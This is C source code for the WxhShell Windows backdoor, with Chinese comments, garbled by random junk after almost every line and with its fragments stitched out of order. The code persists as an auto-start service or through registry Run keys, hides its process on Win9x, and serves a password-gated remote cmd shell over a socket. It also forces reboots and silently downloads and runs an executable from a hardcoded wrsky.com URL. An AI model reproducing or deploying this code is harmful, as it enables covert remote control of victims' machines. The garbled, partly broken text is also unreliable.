    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q?t>!1c  
    else { 6zNN 8  
    closesocket(wsh); z&- `<uV~  
    ExitThread(0); h?CNChRJs  
    } t8^*s<O  
    break; 0\ gE^=o[  
    } `[ne<F?e  
  // 获取shell [S9nF  
  case 's': { .^v7LF]Q  
    CmdShell(wsh); V5A7w V3~  
    closesocket(wsh); yBr{nFOgdY  
    ExitThread(0); 4H " *.l  
    break; Nd6N:1 -  
  } ;N,7#l|wi  
  // 退出 DdFVOs|  
  case 'x': { )lW<: ?k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8)H"w$jq  
    CloseIt(wsh); ;j52a8uE'}  
    break; nDPfr\\  
    } }k ,Si9O  
  // 离开 *'`-plS7  
  case 'q': { ho:,~ A;k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a<HM|dcst  
    closesocket(wsh); ^7_<rs   
    WSACleanup(); 'i@Y #F%D  
    exit(1); Fm2t:,=  
    break; dA_s7),  
        } x,1&ml5  
  } =Of#Ps)  
  } *J$=UG,u  
%Ajf|Go0/G  
  // 提示信息 lc/2!:g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |X_yL3`Zb  
} @%jzVF7  
  } r2hm`]\8M  
Su-+~` "  
  return; ,*bxNs'/  
} }y0UyOa{C  
#G\)ZheG  
// shell模块句柄 u{_T,k<!  
int CmdShell(SOCKET sock) Y- w5S|!  
{ 2Nj0 Hqjq  
STARTUPINFO si; `bxgg'V  
ZeroMemory(&si,sizeof(si)); ~E`l4'g?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zU}0AVlIL:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +^"|FtKhE  
PROCESS_INFORMATION ProcessInfo; VWNmqeP  
char cmdline[]="cmd"; E@N_~1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V&f3>#n\  
  return 0; sB"]R%`_  
} Fs=nAn#  
IYj-cm  
// 自身启动模式 [` i;gx[^  
int StartFromService(void) [}VEDx  
{ 00 $W>Gr  
typedef struct -MU^%t;-  
{ TRQva8d?  
  DWORD ExitStatus; N,;Bl&EU  
  DWORD PebBaseAddress; T[7- 3[w<)  
  DWORD AffinityMask; b. t]p  
  DWORD BasePriority; G.BqT\ o'  
  ULONG UniqueProcessId; g;*~ xo  
  ULONG InheritedFromUniqueProcessId; vUCU%>F  
}   PROCESS_BASIC_INFORMATION;  a1j 6-p  
TQ>1u  
PROCNTQSIP NtQueryInformationProcess; =izB :  
&KD m5p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _-h3>.;h9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Karyipn}  
.+8w\>w6g  
  HANDLE             hProcess; E.BMm/WH  
  PROCESS_BASIC_INFORMATION pbi; 3)`}#`T  
 %RJW@~!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6ZF5f^M^  
  if(NULL == hInst ) return 0; <CH7jbK  
L1J"_.=P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LUCpZ3F1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); / AW]12_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 19lx;^b  
jgC/  
  if (!NtQueryInformationProcess) return 0; J M`uIVnNA  
uL1-@D,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D!y Cnq=8  
  if(!hProcess) return 0; ]~|zY5i!  
u'iOa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /njN*rhx&Z  
\75%[;.  
  CloseHandle(hProcess); Q#vur o  
~Ipl'cE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :,cSEST  
if(hProcess==NULL) return 0; `4$" mO>+  
'|6j1i0x  
HMODULE hMod; Yr0%ZYfN  
char procName[255]; Ypp>7J/  
unsigned long cbNeeded; pfZxG.l  
T3Tk:r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0chBw~@*s  
Iunt!L  
  CloseHandle(hProcess); 7?F0~[eGG  
W>h[aVTO  
if(strstr(procName,"services")) return 1; // 以服务启动 6r^(VT  
=b6Q2s,i  
  return 0; // 注册表启动  ;BpuNB  
} ;Cv x48  
G<>`O;i  
// 主模块 fUE jl  
int StartWxhshell(LPSTR lpCmdLine) 2!l)% F`  
{ P,*R@N  
  SOCKET wsl; &"25a[x{B  
BOOL val=TRUE; tcmG>^YM  
  int port=0; {@({po  
  struct sockaddr_in door; 0;]tC\D1  
eH75: `  
  if(wscfg.ws_autoins) Install(); VFRUiz/C  
!K3 #4   
port=atoi(lpCmdLine); sg2T)^*V  
b}axw+  
if(port<=0) port=wscfg.ws_port; (?$}Vp  
$n>.;CV  
  WSADATA data; )5p0fw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qy.Mi{=~:  
s%I) +|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3d \bB !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #lF8"@)a-$  
  door.sin_family = AF_INET; s,lrw~17  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R5|c4v{B  
  door.sin_port = htons(port); St'3e<  
|wWBV{^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `a  
closesocket(wsl); zQ5'q  
return 1; U Tw\_s  
} \z0"  
~-|K5  
  if(listen(wsl,2) == INVALID_SOCKET) { BgUf:PT  
closesocket(wsl); )ASI 41  
return 1; Gi?"  
} h=?#D0  
  Wxhshell(wsl); ax,%07hJ  
  WSACleanup(); ^ WidA-  
CH!Lf,G  
return 0; YY'46  
qMKXS,s  
} = gOq >`  
..;}EFw5  
// 以NT服务方式启动 ^~( @QfY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O~trv,?)  
{ Uz[#t1*  
DWORD   status = 0; ?%#3p[  
  DWORD   specificError = 0xfffffff; [gx6e 44  
wxN'Lv=R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t4~Bn<=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m.Yj{u8zX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &n91f  
  serviceStatus.dwWin32ExitCode     = 0; c|IH|y  
  serviceStatus.dwServiceSpecificExitCode = 0; Z!v)zH\  
  serviceStatus.dwCheckPoint       = 0; gT?:zd=;  
  serviceStatus.dwWaitHint       = 0; Xw_AZ-|1D  
k0Rd:DxO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E&#cU}ErN  
  if (hServiceStatusHandle==0) return; ]?-8[v~{C  
Y{6y.F*Q#  
status = GetLastError(); QS\H[?M$  
  if (status!=NO_ERROR) {OH "d  
{ MB%yC]w8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {p=`"H>  
    serviceStatus.dwCheckPoint       = 0; 'MVE5  
    serviceStatus.dwWaitHint       = 0; fH}#.vy  
    serviceStatus.dwWin32ExitCode     = status; (V!:6  
    serviceStatus.dwServiceSpecificExitCode = specificError; [x{'NwP?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }f?$QSF  
    return; R %aed>zo  
  } M4~^tML>Ey  
.SAOE'Foo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Z3Tyj}4  
  serviceStatus.dwCheckPoint       = 0; W; P8=q  
  serviceStatus.dwWaitHint       = 0; :G!i]1x<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . =yF  
} Hyh$-iCa  
*S%~0=  
// 处理NT服务事件,比如:启动、停止 x2%xrlv<J/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3"!h+dXw  
{ }(FF^Mh  
switch(fdwControl) )O;6S$z9Y  
{ Wl\.*^`k  
case SERVICE_CONTROL_STOP: FhpS#, Y$  
  serviceStatus.dwWin32ExitCode = 0; leR-oeSO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ HN  
  serviceStatus.dwCheckPoint   = 0; 1wAD_PI|BH  
  serviceStatus.dwWaitHint     = 0; bvzNur_  
  { +-"uJIwMD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;&RBg+Pr  
  } %{Ib  
  return; sVWOh|O[W  
case SERVICE_CONTROL_PAUSE: _c$l@8KS^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !8~A`  
  break; .FYxVF.  
case SERVICE_CONTROL_CONTINUE: >BFUts%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }$ C;ccWL  
  break; Kg?(Ax4  
case SERVICE_CONTROL_INTERROGATE: "Te[R%aP  
  break; $`;1][OD  
}; r}T(?KGx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '1P~"P3  
} >h)D~U(H  
s3<gq x-&r  
// 标准应用程序主函数 W2yNwB+{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nM#/uuRl|  
{ eO%w i.Q  
#$n >+ lc  
// 获取操作系统版本 gV~_m  
OsIsNt=GetOsVer(); ^hZZ5(</8P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w eX%S&#?  
DL<b)# h#  
  // 从命令行安装 ,! b9  
  if(strpbrk(lpCmdLine,"iI")) Install(); #w]UP#^io  
y Ny,$1  
  // 下载执行文件 kZ5;Fe\*  
if(wscfg.ws_downexe) { S,0h &A9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uE E;~`G  
  WinExec(wscfg.ws_filenam,SW_HIDE); c`,'[Q5(O  
} 7C / ^ Gw  
yrvV<}  
if(!OsIsNt) { AcHr X=O  
// 如果时win9x,隐藏进程并且设置为注册表启动 +6~ut^YiM.  
HideProc(); =Vie0TV&h  
StartWxhshell(lpCmdLine); \0 j-p   
} T:/mk`>  
else H^sImIEUT  
  if(StartFromService())  /dI8o  
  // 以服务方式启动 pgUp1goAU  
  StartServiceCtrlDispatcher(DispatchTable); 8f`r!/j  
else wHuz~y6  
  // 普通方式启动 `@3{}  
  StartWxhshell(lpCmdLine); {HO,d{{  
&s^t~>Gpr  
return 0; \RT3#X+  
} t4d^DZDh!  
yRAfIB$T}"  
@js`$  
I_k/lwBD  
=========================================== \JLea$TM:  
E%%iVFPX  
utzf7?nIS  
WBN3:Y7  
)Szn,  
+ *)Kyk  
" xYp-Y"a.  
|1%eo.  
#include <stdio.h> &v)/mc7D  
#include <string.h> do[w&`jw8  
#include <windows.h> x1`4hB  
#include <winsock2.h> `eEiSf  
#include <winsvc.h> w!_6*  
#include <urlmon.h> ;UpdkY 1  
u u$Jwn!S  
#pragma comment (lib, "Ws2_32.lib") 9 ;Qgby  
#pragma comment (lib, "urlmon.lib") <sTY<iVR  
7S/\;DF  
#define MAX_USER   100 // 最大客户端连接数 yz7Fe  
#define BUF_SOCK   200 // sock buffer 7u`:e,'  
#define KEY_BUFF   255 // 输入 buffer Og-v][  
W"!{f  
#define REBOOT     0   // 重启 hsAk7KC  
#define SHUTDOWN   1   // 关机 sa?s[  
f4;V7DJ  
#define DEF_PORT   5000 // 监听端口 lJ Jn@A  
@6kkt~>:  
#define REG_LEN     16   // 注册表键长度 +[Izz~ _p  
#define SVC_LEN     80   // NT服务名长度 uOAd$;h@_Z  
~KYA{^`*  
// 从dll定义API M 4E|^p=5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a! 3eZ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;$vVYC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |R;`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  G){A&F  
7q&T2?GEN  
// wxhshell配置信息 )i"52!  
struct WSCFG { G:!3X)b  
  int ws_port;         // 监听端口 uquY z_2  
  char ws_passstr[REG_LEN]; // 口令 .6c Bx  
  int ws_autoins;       // 安装标记, 1=yes 0=no OIs!,G|  
  char ws_regname[REG_LEN]; // 注册表键名 ;TKsAU  
  char ws_svcname[REG_LEN]; // 服务名 &})Zqc3Lqk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yu}T><Wst  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,&iEn}xG7i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /b]+RXvxj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #y8Esik  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |JiN; O+K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,f~)CXNT?  
kl|m @Nxp  
}; +h? Gps  
]u.)6{  
// default Wxhshell configuration aJ J)ZP2+  
struct WSCFG wscfg={DEF_PORT, =d$m@rc0r  
    "xuhuanlingzhe", iU|X/>k?  
    1, x<5;#  
    "Wxhshell", 4D[(X=FSU  
    "Wxhshell", !jR 1!i   
            "WxhShell Service", J ql$ g  
    "Wrsky Windows CmdShell Service", 4}t$Lf_  
    "Please Input Your Password: ", q}]z8 L  
  1, iow"X6_l_  
  "http://www.wrsky.com/wxhshell.exe", E~S~Ld%  
  "Wxhshell.exe" N97WI+`  
    }; mUfANlQ:  
zG7y$\A  
// 消息定义模块 8CUl |I ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MSb0J`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; je74As[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n){u!z)Al  
char *msg_ws_ext="\n\rExit.";  GG(}#Z5h  
char *msg_ws_end="\n\rQuit."; b?-KC\}v  
char *msg_ws_boot="\n\rReboot..."; NftR2  
char *msg_ws_poff="\n\rShutdown..."; 3 jghV?I{T  
char *msg_ws_down="\n\rSave to "; -+0!Fkt@,  
Ny$N5/b!!  
char *msg_ws_err="\n\rErr!"; bwK1XlfD.s  
char *msg_ws_ok="\n\rOK!"; V8 G.KA "  
~3$:C#"Dl  
char ExeFile[MAX_PATH]; 8aY}b($*ZI  
int nUser = 0; gWl49'S>+  
HANDLE handles[MAX_USER]; 82YZN5S3]3  
int OsIsNt; 8"ulAx74>  
ynn>d  
SERVICE_STATUS       serviceStatus; POQ4&ChA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~PX#' Jr  
K7ZRj\(CJv  
// 函数声明 v807)JwS  
int Install(void); dF^`6-K1  
int Uninstall(void); g{Hb3id9  
int DownloadFile(char *sURL, SOCKET wsh); acI%fYw5p`  
int Boot(int flag); CtHsi8m  
void HideProc(void); 2 U3WH.o  
int GetOsVer(void); IIAm"=*  
int Wxhshell(SOCKET wsl); -yMD9b  
void TalkWithClient(void *cs); ?^U1~5ff)  
int CmdShell(SOCKET sock); &g!yRvM!;Q  
int StartFromService(void); p@3 <{kLm  
int StartWxhshell(LPSTR lpCmdLine); } DjbVYH  
&ZJ$V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wx^1lC2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U3pMv|b  
ei @$_w*TH  
// 数据结构和表定义 Sj;:*jk!h  
SERVICE_TABLE_ENTRY DispatchTable[] = qSQsY:]j0  
{ t x1(6V&l;  
{wscfg.ws_svcname, NTServiceMain}, zLjQ,Lp.I  
{NULL, NULL} H,)2Ou-Wn  
}; J6J; !~>_  
mSp;(oQ  
// 自我安装 CMfR&G,)  
int Install(void) -V52?Hq  
{ Px`z$~*B:  
  char svExeFile[MAX_PATH]; > M4QEv  
  HKEY key; (o8?j^ -v  
  strcpy(svExeFile,ExeFile); @}tk/7-E  
(Zu8WyT2  
// 如果是win9x系统,修改注册表设为自启动 9U!#Y%*T  
if(!OsIsNt) { +?Y(6$o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Bn$b2j!%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = $6pL  
  RegCloseKey(key); +|Mi lwr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^%x7:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jxZd =%7Q  
  RegCloseKey(key); }#E~XlX^  
  return 0; %loe8yt  
    } \)BDl  
  } !qJ|`o Y  
} #po}Y  
else { 0GnbE2&  
BoXGoFn  
// 如果是NT以上系统,安装为系统服务 $1myf Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^qPS&G  
if (schSCManager!=0) Ok_)C+o  
{ #zKF/H|_R  
  SC_HANDLE schService = CreateService \E,Fe:/g  
  ( yQ+C}8r5  
  schSCManager, lR3JyYY{X  
  wscfg.ws_svcname, J,^eq@(  
  wscfg.ws_svcdisp, 6n'XRfQp)&  
  SERVICE_ALL_ACCESS, ?)XPY<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^BQ*l5K  
  SERVICE_AUTO_START, @Ke3kLQ_\X  
  SERVICE_ERROR_NORMAL, xkkW?[&  
  svExeFile, 'q{|p+  
  NULL, m>-(c=3  
  NULL, :_+Fe,h>|  
  NULL, 9h'klaE(  
  NULL, fu7J{-<<R  
  NULL 0V?:5r<  
  ); -_~T;cj6  
  if (schService!=0) 6Er%td)f  
  { \:91BQP c  
  CloseServiceHandle(schService); =]F15:%Z q  
  CloseServiceHandle(schSCManager); \B D'"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qGKQrb,K  
  strcat(svExeFile,wscfg.ws_svcname); FrD,)Ad8Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ahm@ +/2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LxxFosi8  
  RegCloseKey(key); Fd@:*ER  
  return 0; Ov9kD0S  
    } D[R<H((  
  } xnG,1doa  
  CloseServiceHandle(schSCManager); 3}X;WE `  
} |%-:qk4rG  
} +#R<emW  
NQhlb"Ix  
return 1; S t0AV.N1  
} [)83X\CO  
7eekTh, ?  
// 自我卸载 U^{'"x+  
int Uninstall(void) -( +/u .  
{ @~`2L o/  
  HKEY key; QyX ?  
Kly`V]XE  
if(!OsIsNt) { 9% AL f 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m8njP-CZ  
  RegDeleteValue(key,wscfg.ws_regname); W]DZ'  
  RegCloseKey(key); IMay`us]:8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aqAWaO  
  RegDeleteValue(key,wscfg.ws_regname); 8k`rj;  
  RegCloseKey(key); ok7yFm1\  
  return 0; @}@J$ g  
  } f.&Y_G3a<  
} OA3* "d*  
} &GH ,is  
else { #v`J]I)$  
~#jD/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B?)=d,E  
if (schSCManager!=0) FGG 7;0(  
{ v(2|n}qY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |,Xrt8O/[  
  if (schService!=0) _o-D},f*e  
  { _oJq32  
  if(DeleteService(schService)!=0) { C) "|sG  
  CloseServiceHandle(schService); *R^ulp[W  
  CloseServiceHandle(schSCManager); h_Cac@F0  
  return 0; -(fvb  
  } '@<aS?@!t  
  CloseServiceHandle(schService); pu +"bq  
  } aPMqJ#fIr  
  CloseServiceHandle(schSCManager); s`:-6{E  
} |4s`;4c&  
} +]%d'h  
px1{=~V/  
return 1; "' hc)58y  
} |_J[n !~f7  
idr,s\$>  
// 从指定url下载文件 x\Det$3Kx  
int DownloadFile(char *sURL, SOCKET wsh) r{gJ[%  
{ RjS&^u aP  
  HRESULT hr; n(#159pZ  
char seps[]= "/"; =@d IM  
char *token; 3+2&@:$t  
char *file; n)7olP0p  
char myURL[MAX_PATH]; 1&@s2ee4   
char myFILE[MAX_PATH]; zi*2>5g  
`2@t) :  
strcpy(myURL,sURL); o(I[_oUy\  
  token=strtok(myURL,seps); 007SA6xq  
  while(token!=NULL) [fU2$(mT+  
  { )MKzAAt~  
    file=token; ;hOrLy&O  
  token=strtok(NULL,seps); \=yx~c_$L  
  } \HB4ikl  
;O2r+n  
GetCurrentDirectory(MAX_PATH,myFILE); /M-%]sayj  
strcat(myFILE, "\\"); Q-!a;/  
strcat(myFILE, file); 4u zyU_  
  send(wsh,myFILE,strlen(myFILE),0); uwl;(zwh_  
send(wsh,"...",3,0); IZ;%lV7t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rI5)w_E?  
  if(hr==S_OK) DM*mOT  
return 0; O&!tW^ih  
else U. 1Vpfy  
return 1; xrK%3nA4s"  
&Oq& ikw  
} MT,LO<.  
/2&jId  
// 系统电源模块  >y&4gm  
int Boot(int flag) K>TdN+Z}=  
{ UpgY}pf}  
  HANDLE hToken; rZDlPp>BPZ  
  TOKEN_PRIVILEGES tkp; %/:{x()G  
PEPBnBA&1  
  if(OsIsNt) { mlR*S<Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !TRJsL8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p AzPi  
    tkp.PrivilegeCount = 1; ; 2vHdN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `um#}ify#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LX e{  
if(flag==REBOOT) { @' DfNka  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 38dXfl  
  return 0; fmvX;0O  
}  ? {Lp  
else { bGvALz'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V@Z8t8  
  return 0; +'H_sMmi{  
} qJj;3{X2  
  } [e )j,Q1  
  else { 1.0S>+^JE  
if(flag==REBOOT) { Z,Z34:-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )z9)oM\  
  return 0; j5ZeYcQ-  
} t)LD-%F  
else { kL,{H~iq;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Memz>uux  
  return 0; H'E >QT  
} cbl2D5s+i]  
} 1pC!F ;9Oo  
FrO)3 1z  
return 1; Bl-nS{9"  
} }"<|.[V)  
tt`j!!  
// win9x进程隐藏模块 _-%A_5lCRE  
void HideProc(void) |~bl%g8xP  
{ [0D( PV(n  
pq6}q($Rk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KDW%*%!  
  if ( hKernel != NULL ) s#ijpc>h  
  { 9cAb\5c|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); , e{kC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]l>)Di#*o  
    FreeLibrary(hKernel); 8/f ,B:by  
  } r>S?,qr  
K vC`6  
return; A('=P}I^  
} ?yF)tF+<  
wAxXK94#3  
// 获取操作系统版本 D;It0"  
int GetOsVer(void) &AmTXW  
{ "w0>  
  OSVERSIONINFO winfo; }\`MXh's  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w} *;^n  
  GetVersionEx(&winfo); (bi}?V*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @^:R1c![s  
  return 1; uh3%}2'P  
  else sB ]~=vUP  
  return 0; w: ~66 TCI  
} * c] :,5  
D[m;rcl  
// 客户端句柄模块 Ns2M8  
int Wxhshell(SOCKET wsl) >&tPIrz  
{ V<AT"vU[  
  SOCKET wsh; 3qPj+@  
  struct sockaddr_in client; j0!Z 20  
  DWORD myID; m]BxGwT=m  
A^2VH$j]+  
  while(nUser<MAX_USER) "W;Gv I  
{ U[=VW0  
  int nSize=sizeof(client); _h!OGLec  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /c~z(wv  
  if(wsh==INVALID_SOCKET) return 1; ]'=]=o~4  
*,~d!Fc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S1&mY'c  
if(handles[nUser]==0) dJM)~Ay-  
  closesocket(wsh); " 4#V$V  
else 1q<BYc+z  
  nUser++; {wRsV=*  
  } 5BCXI8Ox9x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hex:e2x  
W[[3'JTF  
  return 0; D)XF@z;  
} o ^L 3Xiv  
1u7Kc'.xc  
// 关闭 socket "qUUH4mR`  
void CloseIt(SOCKET wsh) bB'iK4  
{ s@K)RhTY  
closesocket(wsh); <Yu}7klJE  
nUser--; twU^ewO&  
ExitThread(0); W}bed],l  
} Vo<V!G{  
tvynl;Y/  
// 客户端请求句柄 b[Sd$ACd  
void TalkWithClient(void *cs) -l<b|`s=w.  
{ a:Js i=  
oCdWf63D  
  SOCKET wsh=(SOCKET)cs; b;#3X)  
  char pwd[SVC_LEN]; wl #Bv,xf  
  char cmd[KEY_BUFF]; ^AtAfVJN0  
char chr[1]; :zZK%} G<  
int i,j; wq!Gj]B  
?9nuL}m!a  
  while (nUser < MAX_USER) { RUUV"y  
f/RzE  
if(wscfg.ws_passstr) { m8;; O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6lOT5C eJ"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `P<}MeJ\l  
  //ZeroMemory(pwd,KEY_BUFF); 9 o6ig>C  
      i=0; 9F)+p7VJq  
  while(i<SVC_LEN) { n#Xi Co_\  
"hi?/B#d  
  // 设置超时 g-"@%ps  
  fd_set FdRead; X&fM36o7  
  struct timeval TimeOut; Cqy84!Z<  
  FD_ZERO(&FdRead); ms8de>A|H  
  FD_SET(wsh,&FdRead); C-lv=FJEk/  
  TimeOut.tv_sec=8; &p=Uus  
  TimeOut.tv_usec=0; QNn\wz_)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /"?yB$s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E}Q'Wz|k  
m(SGE,("w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ol7%$:S  
  pwd=chr[0]; TZ{';oU  
  if(chr[0]==0xd || chr[0]==0xa) { 0(A`Ia  
  pwd=0; }Tf~)x  
  break; A@xa$!4}  
  } ;`',M6g  
  i++; <dl:';@a-  
    } 6r{NW9y'  
;rZR9fR  
  // 如果是非法用户,关闭 socket 8)HUo?/3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UZ7Zzc#g  
} L#mf[a@pCn  
HZC^Q7]hy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~``oKiPg@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =V~p QbZ  
6U5L>sQ  
while(1) { RhR{EO  
 PNY"Lqj  
  ZeroMemory(cmd,KEY_BUFF); V:HxRMF2X  
AL@8v=  
      // 自动支持客户端 telnet标准   QG {KEj2V  
  j=0; \Fg%V>  
  while(j<KEY_BUFF) { dPZrX{ c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N Q~keN  
  cmd[j]=chr[0]; %0l'Nuz  
  if(chr[0]==0xa || chr[0]==0xd) { S?ELFq(g  
  cmd[j]=0; 3y?I^ .B  
  break; /W\@/b,  
  } cB#5LXbCE  
  j++; *P2_l Q=  
    } 3gtQS3$4s  
;Gixu9u'  
  // 下载文件 6D3hX>K4  
  if(strstr(cmd,"http://")) { @=JOAo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ieuq9ah#  
  if(DownloadFile(cmd,wsh)) :b t;DJ@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Em8q1P$tm>  
  else BUB$k7{z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A) {q 7WI  
  } FyleK+D?  
  else { &[71~.Od  
K|[p4*6  
    switch(cmd[0]) { D>tex/Of3  
  "LZQ1P*ef$  
  // 帮助 Bv-|#sdxm  
  case '?': { I!sh+e  
